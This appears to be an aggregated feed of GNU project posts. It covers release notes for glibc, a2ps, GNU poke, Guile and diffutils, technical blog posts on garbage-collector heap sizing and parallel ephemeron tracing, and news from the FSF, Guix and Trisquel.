[29624] malloc: errno is not cleared when entering main [29638] libc: stdlib: arc4random fallback is never used [29657] libc: Incorrect struct stat for 64-bit time on linux/generic platforms [29698] build: Configuring for AArch32 on ARMv8+ disables optimizations [29727] locale: \_\_strtol\_internal out-of-bounds read when parsing thousands grouping [29730] libc: broken y2038 support in fstatat on MIPS N64 [29746] libc: ppoll() does not switch to \_\_ppoll64 when -D\_TIME\_BITS=64 and -D\_FORTIFY\_SOURCE=2 is given on 32bit [29771] libc: Restore IPC\_64 support in sysvipc *ctl functions [29780] build: possible parallel make issue in glibc-2.36 (siglist- aux.S: No such file or directory) [29864] libc: \_\_libc\_start\_main() should obtain program headers address (\_dl\_phdr) from the auxv, not the ELF header. [29951] time: daylight variable not set correctly if last DST change coincides with offset change [30039] stdio: \_\_vsprintf\_internal does not handle unspecified buffer length in fortify mode
This release was made possible by the contributions of many people. The maintainers are grateful to everyone who has contributed changes or bug reports. These include:
Adhemerval Zanella Adhemerval Zanella Netto Alan Modra Alistair Francis Andreas K. Hüttel Andreas Schwab Arjun Shankar Aurelien Jarno Carlos Eduardo Seo Carlos O'Donell Chenghua Xu Cristian Rodríguez Damien Zammit Fabian Vogt Fangrui Song Felix Riemann Flavio Cruz Florian Weimer H.J. Lu Jakub Wilk Javier Pello John David Anglin Joseph Myers Jörg Sonnenberger Kito Cheng Letu Ren Lucas A. M. Magalhaes Ludovic Courtès Martin Jansa Martin Joerg Michael Hudson-Doyle Mike FABIAN Noah Goldstein Paul Eggert Paul Pluzhnikov Qingqing Li Rajalakshmi Srinivasaraghavan Raphael Moreira Zinsly Richard Henderson Sajan Karumanchi Samuel Thibault Sergei Trofimovich Sergey Bugaev Shahab Vahedi Siddhesh Poyarekar Stefan Liebler Sunil K Pandey Szabolcs Nagy Tom Honermann Tulio Magno Quites Machado Filho Vladislav Khmelevsky Wilco Dijkstra Xi Ruoyao Xiaolin Tang Xiaoming Ni Xing Li Yu Chien Peter Lin YunQiang Su Zong Li caiyinyu fanquake Łukasz Stelmach наб
We would like to call out the following and thank them for their tireless patch review:
Adhemerval Zanella Arjun Shankar Aurelien Jarno Carlos O'Donell Cristian Rodríguez DJ Delorie Fangrui Song Florian Weimer H.J. Lu Noah Goldstein Palmer Dabbelt Paul E. Murphy Philippe Mathieu-Daudé Premachandra Mallappa Sam James Siddhesh Poyarekar Sunil K Pandey Szabolcs Nagy Tulio Magno Quites Machado Filho Wilco Dijkstra Yann Droneaud
The GNU Health federation community server (federation.gnuhealth.org) has been updated! These are some of the main improvements:
- NGINX and WSGI: The Hospital Management component instance is now running behind uWSGI and NGINX.
- HMIS 4.2 Release Candidate 2: We are very close to HMIS 4.2 stable. This pre-release version will help us to test the upcoming features and find bugs before the release. :)
- Secure connection: You can test the demo web client using TLS. Please check the demo database section on the GNUHealth Wikibooks.
- Thalamus, the GNU Health Federation message and authentication server still runs on Gunicorn, also using https.
Another alpha release, some more tweaks and tidy-ups.
Here are the compressed sources and a GPG detached signature: https://alpha.gnu.org/gnu/a2ps/a2ps-4.14.94.tar.gz https://alpha.gnu.org/gnu/a2ps/a2ps-4.14.94.tar.gz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
The SHA256 checksum is base64 encoded, instead of the hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.14.94.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.71 Automake 1.16.5 Gnulib v0.1-5639-g80b225fe1e
NEWS
* Noteworthy changes in release 4.14.94 (2023-01-31) [alpha] * Features: - Replace the 'psmandup' utility with simpler 'lp2' to directly print documents to a simplex printer. - Remove the outdated 'psset' and 'fixnt', and simplify 'fixps' to always process its input with Ghostscript. * Documentation - Remove some obsolete explanations. * Build - Minor tidy up and removal of obsolete code.
During tonight poke online office hours our friend hdzki came with an interesting use case. He is poking at some binary structures that are like sparse tables whose entries are distributed in the file in an arbitrary way. Each sparse table is characterized by an array of consecutive non-NULL pointers. Each pointer points to an entry in the table. The table entries can be anywhere in the IO space, and are not necessarily consecutive, nor be in order.
How much memory should a program get? Tonight, a quick note on sizingfor garbage-collected heaps. There are a few possible answers,depending on what your goals are for the system.
you: doctor science
Sometimes you build a system and you want to study it: to identify itsprincipal components and see how they work together, or to isolate theeffect of altering a single component. In that case, what you want is afixed heap size. You run your program a few times and determine a heapsize that is sufficient for your problem, and then in future run theprogram with that new fixed heap size. This allows you to concentrateon the other components of the system.
A good approach to choosing the fixed heap size for a program is todetermine the minimum heap size a program can have by bisection, thenmultiplying that size by a constant factor. Garbage collection is aspace/time tradeoff: the factor you choose represents a point on thespace/time tradeoff curve. I would choose 1.5 in general, but this isarbitrary; I'd go more with 3 or even 5 if memory isn't scarce and I'mreally optimizing for throughput.
Note that a fixed-size heap is not generally what you want. It's notgood user experience for running ./foo at the command line, forexample. The reason for this is that program memory use is usually afunction of the program's input, and only in some cases do you know whatthe input might look like, and until you run the program you don't knowwhat the exact effect of input on memory is. Still, if you have a teamof operations people that knows what input patterns look like and hasexperience with a GC-using server-side process, fixed heap sizes couldbe a good solution there too.
you: average josé/fina
On the other end of the spectrum is the average user. You just want torun your program. The program should have the memory it needs! Not toomuch of course; that would be wasteful. Not too little either; I cantell you, my house is less than 100m², and I spend way too much timeshuffling things from one surface to another. If I had more space Icould avoid this wasted effort, and in a similar way, you don't want tobe too stingy with a program's heap. Do the right thing!
Of course, you probably have multiple programs running on a system thatare making similar heap sizing choices at the same time, and therelative needs and importances of these programs could change over time,for example as you switch tabs in a web browser, so the right thingreally refers to overall system performance, whereas what you arecontrolling is just one process' heap size; what is the Right Thing,anyway?
There are some details but you can imagine some instinctive results: forexample, when a program stops allocating because it's waiting for someexternal event like user input, it doesn't need so much memory, so itcan start shrinking its heap. After all, it might be quite a whilebefore the program has new input. If the program starts allocatingagain, perhaps because there is new input, it can grow its heap rapidly,and might then shrink again later. The mechanism by which this happensis pleasantly simple, and I salute (again!) the authors for identifyingthe practical benefits that an abstract model brings to the problemdomain.
you: a damaged, suspicious individual
Hoo, friends-- I don't know. I've seen some things. Not to exaggerate,I like to think I'm a well-balanced sort of fellow, but there's somesuspicion too, right? So when I imagine a background thread determiningthat my web server hasn't gotten so much action in the last 100ms andthat really what it needs to be doing is shrinking its heap, kicking offadditional work to mark-compact it or whatever, when the whole point ofthe virtual machine is to run that web server and not much else, only tohave to probably give it more heap 50ms later, I-- well, again, Iexaggerate. The MemBalancer paper has a heartbeat period of 1 Hz and asmoothing function for the heap size, but it just smells like danger.Do I need danger? I mean, maybe? Probably in most cases? But maybe itwould be better to avoid danger if I can. Heap growth is usually bothnecessary and cheap when it happens, but shrinkage is never necessaryand is sometimes expensive because you have to shuffle around data.
So, I think there is probably a case for a third mode: not fixed, notadaptive like the MemBalancer approach, but just growable: grow the heapwhen and if its size is less than a configurable multiplier (e.g. 1.5)of live data. Never shrink the heap. If you ever notice that a processis taking too much memory, manually kill it and start over, or whatever. Default to adaptive, of course, but when you start to troubleshoot a high GC overhead in a long-lived proess, perhaps switch to growable to see its effect.
unavoidable badness
There is some heuristic badness that one cannot avoid: even with the adaptive MemBalancer approach, you have to choose a point on the space/time tradeoff curve. Regardless of what you do, your system will grow a hairy nest of knobs and dials, and if your system is successful there will be a lively aftermarket industry of tuning articles: "Are you experiencing poor object transit? One knob you must know"; "Four knobs to heaven"; "It's raining knobs"; "GC engineers DO NOT want you to grab this knob!!"; etc. (I hope that my British readers are enjoying this.)
These ad-hoc heuristics are just part of the domain. What I want to say though is that having a general framework for how you approach heap sizing can limit knob profusion, and can help you organize what you have into a structure of sorts.
At least, this is what I tell myself; inshallah. Now I have told you too. Until next time, happy hacking!
I am happy to announce another pre-release of what will eventually be the first release of GNU a2ps since 2007.
I have had very little feedback about previous pre-releases, so I intend to make a stable release soon. If you’re interested in GNU a2ps, please try this pre-release! I hope that once I make a full release it will quickly be packaged for distributions.
Here are the compressed sources and a GPG detached signature: https://alpha.gnu.org/gnu/a2ps/a2ps-4.14.93.tar.gz https://alpha.gnu.org/gnu/a2ps/a2ps-4.14.93.tar.gz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
The SHA256 checksum is base64 encoded, instead of the hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.14.93.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.71 Automake 1.16.5 Gnulib v0.1-5639-g80b225fe1e
NEWS
* Noteworthy changes in release 4.14.93 (2023-01-26) [alpha] * Features: - Use libpaper's paper sizes. This includes user-defined paper sizes when using libpaper 2. It is still possible to define custom margins using "Medium:" specifications in the configuration file, and the one size defined by a2ps that libpaper does not know about, Quarto, is retained for backwards compatiblity, and as an example. * Bug fixes: - Avoid a crash when a medium is not specified; instead, use the default libpaper size (configured by the user or sysadmin, or the locale default). - Fix some other potential crashes and compiler warnings. * Documentation: - Reformat --help output consistently to 80 columns. * Build: - Require autoconf 2.71. - Require libpaper.
January 20, 2023 marked the end of our most recent fundraisingcampaign and associate member drive. We are proud to add 330 newassociate members to our organization, and we have immenseappreciation for the community that helped us get there. Please help us share our appreciation.
I am happy to announce a new major release of GNU poke, version 3.0.
This release is the result of a year of development. A lot of things have changed and improved with respect to the 2.x series; we have fixed many bugs and added quite a lot of new exciting and useful features. See below for a description of many of them.
From now on, we intend to do not one but two major releases of poke every year. What is moving us to change this is the realization that users have to wait for too long to enjoy new features, which are continuously being added in a project this young and active.
> GNU poke (http://www.jemarch.net/poke) is an interactive, extensible editor for binary data. Not limited to editing basic entities such as bits and bytes, it provides a full-fledged procedural, interactive programming language designed to describe data structures and to operate on them.
Thanks to the people who contributed with code and/or documentation to this release. In certain but no significant order they are:
Mohammad-Reza Nabipoor Arsen Arsenović Luca Saiu Bruno Haible apache2 Indu Bhagat Agathe Porte Alfred M. Szmidt Daiki Ueno Darshit Shah Jan Seeger Sergio Durigan Junior
... and yours truly
As always, thank you all!
But wait, this time we also have special thanks:
To Bruno Haible for his invaluable advise and his help in throughfully testing this new release in many different platforms and configurations.
To the Sourceware overseers, Mark Wielaard, Arsen Arsenović, and Sam James for their help in setting up the buildbots we are using for CI at sourceware.
What is new in this release:
User interface updates
A screen pager has been added to the poke application. If enabled with the `.set pager yes' option, output will be paged one screenful at a time.
A tracer has been added to libpoke and the poke application. If enabled with the `.set tracer yes' option, subsequent loaded Poke types will be instrumentalized so calls to user-defined handlers are executed when certain events happen:
Every time a field gets mapped.
Every time a struct/union gets mapped.
Every time a field gets constructed.
Every time a struct/union gets constructed.
Every time an optional field is omitted when mapping or constructing.
A new command sdiff (for "structured diff") has been added to the poke application, that provides a way to generate patchable diffs of mapped structured Poke values. This command is an interface to the structured diffs provided by the new diff.pk pickle.
When no name is passed to the .mem command, an unique name for the memory IOS with the form N will be used automatically, where N is a positive integer.
Auto-completion of 'attributes is now available in the poke application.
Constraint errors now contain details on the location (which field) where the constraint error happens, along with the particular expression that failed.
Inline assembler expressions and statements are now supported:
Both `printf' and `format' now support printing values of type `any'.
Both `printf' and `format' now support printing integral values interpreted as floating-point values encoded in IEEE 754. Format tags %f, %g and %e are supported. This feature, along with the new ieee754.pk pickle, eases dealing with floating-point data in binary data.
Pre-conditional optional fields are added to complement the currently supported post-conditional optional fields. A pre-conditional optional field like the following makes FNAME optional based on the evaluation of CONDITION. But the field itself is not mapped if the condition evaluates to false:
,---- | if (CONDITION) | TYPE FNAME; `----
A new option `.set autoremap no' can be used in order to tell poke to not remap mapped values automatically. This greatly speeds up things, but assumes that the contents of the IO space are not updated out of the control of the user. See the manual for details.
The :to argument to the `extract' command is now optional, and defaults to the empty string.
${XDG\_CONFIG\_HOME:-$HOME/.config} is now preferred to XDG\_CONFIG\_DIRS.
Poke Language updates
Array and struct constructors are now primaries in the Poke syntax. This means that it is no longer necessary to enclose them between parenthesis in constructions like:
,---- | (Packet {}).field `----
and this is now accepted: ,---- | Packet {}.field `----
Bit-concatenation is now supported in l-values. After executing the following code the value of `a' is 0x1N and the value of `b' is (uint<28>)0x2345678:
,---- | var a = 0 as int<4>; | var b = 0 as uint<28>; | | a:::b = 0x12345678; `----
Arrays can now be indented by size, by specifying an offset as an index. This is particularly useful for accessing structures such as string tables without having to explicitly iterate on the array's elements.
Union types can now be declared as "integral". The same features of integral structs are now available for unions: integration, deintegration, the ability of being used in contexts where an integer is expected, etc.
Support for "computed fields" has been added to struct and union types. Computed fields are accessed just like regular fields, but the semantics of referring to them and of assigning to them are specified by the user by the way of defining getter and setter methods.
This version introduces three new Poke attributes that work on values of type `any':
,---- | VAL'elem (N) | evaluates to the Nth element in VAL, as a value of type `any'. | | VAL'eoffset (N) | evaluates to the offset of the Nth element in VAL. | | VAL'esize (N) | evaluates to the size of the Nth element in VAL. | | VAL'ename (N) | attribute evaluates to the name of the Nth element in VAL. `----
Two new operators have been introduced to facilitate operating Poke array as stacks in an efficient way: apush and apop. Since these operators change the size of the involved arrays, they are only allowed in unbounded arrays.
Poke programs can now hook in the IO subsystem by installing functions that will be invoked when certain operations on IO spaces are being performed:
,---- | ios\_open\_hook | Functions in this hook are invoked once a new IO space has been | opened. | | ios\_set\_hook | Functions in this hook are invoked once the current IO space | changes. | | ios\_close\_pre\_hook | ios\_close\_hook | Functions in these hooks are invoked before and after an IO space is | closed, respectively. `----
The 'length attribute is now valid in values of type `any'.
Poke declarations can now be annotated as `immutable'. It is not allowed to re-define immutable definitions.
A new compiler built-in `iolist' has been introduced, that returns an array with the IO space identifiers of currently open IOS.
We have changed the logic of the EXCOND operator ?!. It now evaluates to 1 (true) if the execution of the first operand raises the specified exception, and to 0 (false) otherwise. We profusedly apologize for the backwards incompatibility, but this is way better than the previous (reversed) logic.
The containing struct or union value can now be refered as SELF in the body of methods. SELF is of type `any'.
Integer literal suffixes (B, H, U, etc) are case-insensitive. But until now little-case `b' wasn't being recognized as such. Now `1B' is the same than `1b'.
Casting to union types now raise a compile-time error.
If no explicit message is specified in calls to `assert', a default one showing the source code of the failing condition is constructed and used instead.
An operator `remap' has been used in order to force a re-map of some mapped Poke value.
Signed integral types of one bit are not allowed. How could they be, in two's complement?
The built-in function get\_time has been renamed to gettime, to follow the usual naming of the corresponding standard C function.
Standard Poke Library updates
New standard functions:
,---- | eoffset (V, N) | Given a value of type `any' and a name, returns the offset of | the element having that name. | | openset (HANDLER, [FLAGS]) | Open an IO space and make it the current IO space. | | with\_temp\_ios ([HANDLER], [FLAGS], [DO], [ENDIAN]) | Execute some code with a temporary IO space. | | with\_cur\_ios (IOS, [DO], [ENDIAN]) | Execute some code on some given IO space. `----
libpoke updates
New API function pk\_struct\_ref\_set\_field\_value.
New API function pk\_type\_name.
Pickles updates
New pickles provided in the poke distribution:
,---- | diff.pk | Useful binary diffing utilities. In particular, it implements | the "structured diff" format as described in | https://binary-tools.net/bindiff.pdf. | | io.pk | Facilities to dump data to the terminal. | | pk-table.pk | Convenient facilities to Poke programs to print tabulated data. | | openpgp.pk | Pickle to poke at OpenPGP RFC 4880 data. | | sframe.pk | sframe-dump.pk | Pickles for the SFrame unwinding format, and related dump | utilities. | | search.pk | Utility for searching data in IO spaces that conform to some | given Poke type. | | riscv.pk | Pickle to poke at instructions encoded in the RISC-V instruction | set (RV32I). It also provides methods to generate assembly | language. | | coff.pk | coff-aarch64.pk | coff-i386.pk | COFF object files. | | pe.pk | pe-amd64.pk | pe-arm.pk | pe-arm64.pk | pe-debug.pk | pe-i386.pk | pe-ia64.pk | pe-m32r.pk | pe-mips.pk | pe-ppc.pk | pe-riscv.pk | pe-sh3.pk | PE/COFF object files. | | pcap.pk | Capture file format. | | uuid.pk | Universally Unique Identifier (UUID) as defined by RFC4122. | | redoxfs.pk | RedoxFS files ystem of Redox OS. | | ieee754.pk | IEEE Standard for Floating-Point Arithmetic. `----
The ELF pickle now provides functions implementing ELF hashing.
Build system updates
It is now supported to configure the poke sources with --disable-hserver.
Documentation updates
Documentation for the `format' language construction has been added to the poke manual.
Other updates
A new program poked, for "poke daemon", has been contributed to the poke distribution by Mohammad-Reza Nabipoor. poked links with libpoke and uses Unix sockets to act as a broker to communicate with an instance of a Poke incremental compiler. This is already used by several user interfaces to poke.
The machine-interface subsystem has been removed from poke, in favor of the poked approach.
The example GUI that was intended to be a test tool for the machine interface has been removed from the poke distribution.
Many bugs have been fixed.
-- Jose E. Marchesi Frankfurt am Main 26 January 2023
We are pleased to announce the release of GNU Guile 3.0.9! This releasefixes a number of bugs and adds several new features, among which:
New bindings for POSIX functionality, including bindings for theat family of functions (openat, statat,etc.),a newspawnprocedure that wrapsposix\_spawnand that system* now uses, and the ability to pass flags such asO\_CLOEXEC to the pipe procedure.
BOSTON, Massachusetts, USA -- Tuesday, January 24, 2023 -- Theboard of the Free Software Foundation (FSF) today announced ithas adopted updated bylaws for the nonprofit effective Feb. 1,2023.
In our lastdispatch welooked at a serial algorithm to trace ephemerons. However, productiongarbage collectors are parallel: during collection, they tracethe object graph using multiple worker threads. Our problem is toextend the ephemeron-tracing algorithm with support for multiple tracingthreads, without introducing stalls or serial bottlenecks.
Recall that we ended up having to define a table of pending ephemerons:
This table holds pending ephemerons that have been visited by thegraph tracer but whose keys haven't been found yet, as well as asingly-linked list of resolved ephemerons that are waiting to havetheir values traced. As a global data structure, the pending ephemerontable is a point of contention between tracing threads that we need todesign around.
a confession
Allow me to confess my sins: things would be a bit simpler if I didn'tallow tracing workers to race.
As background, if your GC supports marking in place instead of alwaysevacuating, then there is a mark bit associated with each object. Toreduce the overhead of contention, a common strategy is to actually usea whole byte for the mark bit, and to write to it using relaxed atomics(or even raw stores). This avoids the cost of a compare-and-swap, butat the cost that multiple marking threads might see that an object'smark was unset, go to mark the object, and think that they were thethread that marked the object. As far as the mark byte goes, that's OKbecause everybody is writing the same value. The object gets pushed onthe to-be-traced grey object queues multiple times, but that's OK too becausetracing should be idempotent.
This is a common optimization for parallel marking, and it doesn't haveany significant impact on other parts of the GC--except ephemeronmarking. For ephemerons, because the state transition isn't simply fromunmarked to marked, we need more coordination.
high level
The parallel ephemeron marking algorithm modifiesthe serial algorithm in just a few ways:
We have an atomically-updated state field in the ephemeron, usedto know if e.g. an ephemeron is pending or resolved;
We use separate fields for the pending and resolved links, toallow for concurrent readers across a state change;
We introduce "traced" and "claimed" states to resolve races betweenparallel tracers on the same ephemeron, and track the "epoch" atwhich an ephemeron was last traced;
We remove resolved ephemerons from the pending ephemeron hash tablelazily, and use atomic swaps to pop from the resolved ephemeronslist;
We have to re-check key liveness after publishing an ephemeron tothe pending ephemeron table.
Regarding the first point, there are four possible values for theephemeron's state field:
enum { TRACED, CLAIMED, PENDING, RESOLVED};
The state transition diagram looks like this:
,----->TRACED<-----. , | ^ ., v | .| CLAIMED || ,-----/ \---. || v v |PENDING--------->RESOLVED
With this information, we can start to flesh out the ephemeron objectitself:
The state field holds one of the four state values; is\_deadindicates if a live ephemeron was ever proven to have a dead key, or ifthe user explicitly killed the ephemeron; and epoch is the GC count atwhich the ephemeron was last traced. Ephemerons are born TRACED inthe current GC epoch, and the collector is responsible for incrementingthe current epoch before each collection.
algorithm: tracing ephemerons
When the collector first finds an ephemeron, it does a compare-and-swap(CAS) on the state from TRACED to CLAIMED. If that succeeds, wecheck the epoch; if it's current, we revert to the TRACED state:there's nothing to do.
(Without marking races, you wouldn't need either TRACED or CLAIMED states, or the epoch; it would be implicit in the fact that the ephemeron was being traced at all that you had a TRACED ephemeron with an old epoch.)
So now we have a CLAIMED ephemeron with an out-of-date epoch. We update the epoch and clear the pending and resolvedfields, setting them to NULL. If, then, the ephemeron is\_dead, we aredone, and we go back to TRACED.
Otherwise we check if the key has already been traced. If so weforward it (if evacuating) and then trace the value edge as well, andtransition to TRACED.
Otherwise we have a live E but we don't know about K; this ephemeronis pending. We transition E's state to PENDING and add it to the front of K's hash bucket in the pending ephemerons table, using CAS to avoid locks.
We then have to re-check if K is live, after publishing E, toaccount for other threads racing to mark to K while we mark E; ifindeed K is live, then we transition to RESOLVED and push E on theglobal resolved ephemeron list, using CAS, via the resolved link.
So far, so good: either the ephemeron is fully traced, or it's pendingand published, or (rarely) published-then-resolved and waiting to betraced.
algorithm: tracing objects
The annoying thing about tracing ephemerons is that it potentiallyimpacts tracing of all objects: any object could be the key thatresolves a pending ephemeron.
When we trace an object, we look it up in the pending ephemeron hashtable. But, as we traverse the chains in a bucket, we also load each node's state. If we find a nodethat's not in the PENDING state, we atomically forward its predecessorto point to its successor. This is correct for concurrent readers because theend of the chain is always reachable: we only skip nodes that are notPENDING, nodes never become PENDING after they transition away frombeing PENDING, and we only add PENDING nodes to the front of thechain. We even leave the pending field in place, so that anyconcurrent reader of the chain can still find the tail, even when theephemeron has gone on to be RESOLVED or even TRACED.
(I had thought I would need Tim Harris' atomic listimplementation, but it turnsout that since I only ever insert items at the head, having annotatedlinks is not necessary.)
If we find a PENDING ephemeron that has K as its key, then we CASits state from PENDING to RESOLVED. If this works, we CAS it ontothe front of the resolved list. (Note that we also have to forward thekey at this point, for a moving GC; this was a bug in my originalimplementation.)
algorithm: resolved ephemerons
Periodically a thread tracing the graph will run out of objects to trace(its mark stack is empty). That's a good time to check if there areresolved ephemerons to trace. We atomically exchange the globalresolved list with NULL, and then if there were resolved ephemerons,then we trace their values and transition them to TRACED.
At the very end of the GC cycle, we sweep the pending ephemeron table,marking any ephemeron that's still there as is\_dead, transitioningthem back to TRACED, clearing the buckets of the pending ephemerontable as we go.
nits
So that's it. There are some drawbacks, for example that this solutiontakes at least three words per ephemeron. Oh well.
There is also an annoying point of serialization, which is related tothe lazy ephemeron resolution optimization. Consider that checking the pendingephemeron table on every object visit is overhead; it would be nice toavoid this. So instead, we start in "lazy" mode, in which pendingephemerons are never resolved by marking; and then once the mark stack /grey object worklist fully empties, we sweep through the pendingephemeron table, checking each ephemeron's key to see if it was visitedin the end, and resolving those ephemerons; we then switch to "eager"mode in which each object visit could potentially resolve ephemerons.In this way the cost of ephemeron tracing is avoided for that part ofthe graph that is strongly reachable. However, with parallel markers,would you switch to eager mode when any thread runs out of objects tomark, or when all threads run out of objects? You would get greatestparallelism with the former, but you run the risk of some workersprematurely running out of data, but when there is still a significantpart of the strongly-reachable graph to traverse. If you wait for allthreads to be done, you introduce a serialization point. There is arelated question of when to pump the resolved ephemerons list. Butthese are engineering details.
Speaking of details, there are some gnarly pitfalls, particularly that you have to be very careful about pre-visit versuspost-visit object addresses; for a semi-space collector, visiting anobject will move it, so for example in the pending ephemeron table whichby definition is keyed by pre-visit (fromspace) object addresses, you need to be sure totrace the ephemeron key for any transition to RESOLVED, and there are afew places this happens (the re-check after publish, sweeping the table after transitioning from lazy to eager, and whenresolving eagerly).
implementation
If you've read this far, you may be interested in theimplementation;it's only a few hundred lines long. It took me quite a while to whittleit down!
Ephemerons are challenging from a software engineering perspective,because they are logically a separate module, but they interact both withusers of the GC and with the collector implementations. It's trickyto find the abstractions that work for all GC algorithms, whether theymark in place or move their objects, and whether they mark the heapprecisely or if there are some conservative edges. But if this is thesort of thing that interests you, voilà the API forusers andthe API to and from collectorimplementations.
And, that's it! I am looking forward to climbing out of this GC hole,one blog at a time. There are just a few more features before I canseriously attack integrating this into Guile. Until the next time,happy hacking :)
GNU Guix will be present at FOSDEM nextweek, February 4th and 5th. This is the first time since the pandemicthat FOSDEM takes place again “in the flesh” in Brussels, which isexciting to those of us lucky enough to get there! Everything will belive-streamed and recorded thanks to the amazing FOSDEM crew, soeveryone can enjoy wherever they are; some of the talks this year willbe “remote” too: pre-recorded videos followed by live Q&A sessions withthe speaker.
Believe it or not, it’s the 9th year Guix is represented atFOSDEM, with more than 30talks given in past editions! This year brings several talks that will let youlearn more about different areas of the joyful Hydra Guix has become.
On Saturday in the security track, “Where does that code comefrom?”(by Ludovic Courtès) will talk Git checkout authentication in Guixand how this fits in the broader picture of “software supply chain”security.
As was the case pre-pandemic, we are also organizing the Guix Days as aFOSDEM fringe event, a two-day Guixworkshop where contributors and enthusiasts will meet. The workshoptakes place on Thursday Feb. 2nd and Friday Feb. 3rd at theInstitute of Cultural Affairs (ICAB) inBrussels.
Again this year there will be few talks; instead, the event willconsist primarily of“unconference-style”sessions focused on specific hot topics about Guix, the Shepherd,continuous integration, and related tools and workflows.
Attendance to the workshop is free and open to everyone, though you areinvited to register (there are few seats left!). Check out theworkshop’s wikipage forregistration and practical info. Hope to see you in Brussels!
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
Ever wondered how Trisquel and Ubuntu differs and what’s behind the curtain from a developer perspective? I have. Sharing what I’ve learnt will allow you to increase knowledge and trust in Trisquel too.
Trisquel GNU/Linux logo
The scripts to convert an Ubuntu archive into a Trisquel archive are available in the ubuntu-purge repository. The easy to read purge-focal script lists the packages to remove from Ubuntu 20.04 Focal when it is imported into Trisquel 10.0 Nabia. The purge-jammy script provides the same for Ubuntu 22.04 Jammy and (the not yet released) Trisquel 11.0 Aramo. The list of packages is interesting, and by researching the reasons for each exclusion you can learn a lot about different attitudes towards free software and understand the desire to improve matters. I wish there were a wiki-page that for each removed package summarized relevant links to earlier discussions. At the end of the script there is a bunch of packages that are removed for branding purposes that are less interesting to review.
Trisquel adds a couple of Trisquel-specific packages. The source code for these packages are in the trisquel-packages repository, with sub-directories for each release: see 10.0/ for Nabia and 11.0/ for Aramo. These packages appears to be mostly for branding purposes.
Trisquel modify a set of packages, and here is starts to get interesting. Probably the most important package to modify is to use GNU Linux-libre instead of Linux as the kernel. The scripts to modify packages are in the package-helpers repository. The relevant scripts are in the helpers/ sub-directory. There is a branch for each Trisquel release, see helpers/ for Nabia and helpers/ for Aramo. To see how Linux is replaced with Linux-libre you can read the make-linux script.
This covers the basic of approaching Trisquel from a developers perspective. As a user, I have identified some areas that need more work to improve trust in Trisquel:
Auditing the Trisquel archive to confirm that the intended changes covered above are the only changes that are published.
Rebuild all packages that were added or modified by Trisquel and publish diffoscope output comparing them to what’s in the Trisquel archive. The goal would be to have reproducible builds of all Trisquel-related packages.
Publish an audit log of the Trisquel archive to allow auditing of what packages are published. This boils down to trust of the OpenPGP key used to sign the Trisquel archive.
Trisquel archive mirror auditing to confirm that they are publishing only what comes from the official archive, and that they do so timely.
I hope to publish more about my work into these areas. Hopefully this will inspire similar efforts in related distributions like PureOS and the upstream distributions Ubuntu and Debian.
BOSTON, Massachusetts, USA -- Thursday, January 19, 2023 --Associate members of the Free Software Foundation (FSF) now have thechance to nominate and evaluate candidates to serve on the board ofdirectors for the first time since the nonprofit was foundedthirty-seven years ago.
This is to announce diffutils-3.9, a stable release.
There have been 51 commits by 3 people in the 76 weeks since 3.8.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed! The following people contributed changes to this release:
Bruno Haible (1) Jim Meyering (14) Paul Eggert (36)
Jim [on behalf of the diffutils maintainers] ==================================================================
Here is the GNU diffutils home page: http://gnu.org/s/diffutils/
For a summary of changes and contributors, see: http://git.sv.gnu.org/gitweb/?p=diffutils.git;a=shortlog;h=v3.9 or run this command from a git-cloned diffutils directory: git shortlog v3.8..v3.9
To summarize the 931 gnulib-related changes, run these commands from a git-cloned diffutils directory: git checkout v3.9 git submodule summary v3.8
